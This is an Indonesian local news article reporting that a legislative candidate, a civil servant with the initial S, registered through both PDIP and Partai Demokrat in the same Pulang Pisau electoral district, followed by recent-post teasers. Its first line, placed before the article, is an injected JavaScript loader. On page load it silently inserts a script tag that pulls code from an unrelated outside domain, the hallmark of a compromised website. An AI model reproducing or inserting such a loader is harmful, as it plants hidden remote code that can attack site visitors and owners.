(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PEMILU 2024

Loh! Satu Bacaleg Pasang Nama Melalui Dua Partai di Pulang Pisau


KANALKALIMANTAN.COM, PULANG PISAU – Komisi Pemilihan Umum (KPU) Kabupaten Pulang Pisau telah membuka pendaftaran bakal calon anggota legislatif. Beberapa partai politik pun telah mendaftarkan bakal calon anggota legislatif untuk bertarung pada Pemilu 2024 mendatang.

Namun, dari data yang diterima diterima Kanalkalimantan.com, terdapat satu nama Bacaleg yang mendaftar melalui dua partai politik dalam satu daerah pemilihan (Dapil).

Diketahui, Bacaleg itu mendaftar di Dapil Maliku dan Pandih Batu melalui Partai Demokrasi Indonesia Perjuangan (PDIP) dan Partai Demokrat.

Bacaleg itu berinisial S yang saat ini masih tercatat sebagai ASN (Aparatur Sipil Negara).

Baca juga: Menuju Popnas Palembang, 11 Cabor Dipertandingkan di Popda Kalsel 2023

Ketua DPC Partai Demokrat Kabupaten Pulang Pisau Jamilah membenarkan yang bersangkutan maju melalui Partai Demokrat.

Begitu juga Sekretaris DPC PDIP Kabupaten Pulang Pisau H Ahmad Fadli Rahman mengakui bahwa S adalah salah satu bakal calon anggota legislatif dari PDIP.

Ketua KPU Kabupaten Pulang Pisau Yuliana saat dikonfirmasi menegaskan, bakal calon anggota legislatif tidak diperbolehkan mendaftar melalui dua parpol.

“Nanti pada tahapan verifikasi akan dilakukan penelitian,” kata Yuliana saat dikonfirmasi, Jumat (12/5/2023) petang.

Saat dikonfirmasi apakah KPU menemukan bakal calon anggota legislatif yang mendaftar melalui dua parpol? Yuliana mengaku, saat pendaftaran pihaknya masih melakukan pengecekan kelengkapan berkas.

Baca juga: Sempat Dikembalikan, Berkas Perbaikan Bacaleg Nasdem Kalsel Dinyatakan Clear

“Nanti di tahapan verifikasi kami akan melakukan pencermatan keabsahan berkas. Setelah itu kita cek list memenuhi syarat belum. Termasuk verifikasi kegandaan,” tegasnya.

Yuliana menegaskan, jika ditemukan bakal calon anggota legislatif yang mendaftar melalui dua parpol atau kegandaan pencalonan, berdasarkan peraturan parpol dapat mengajukan bakal calon kembali atau bakal calon pengganti.(Kanalkalimantan.com/rawi)

Reporter: rawi
Editor: kk


Al Ghifari

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

7 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

7 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

8 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

8 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

8 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

9 jam ago

This website uses cookies.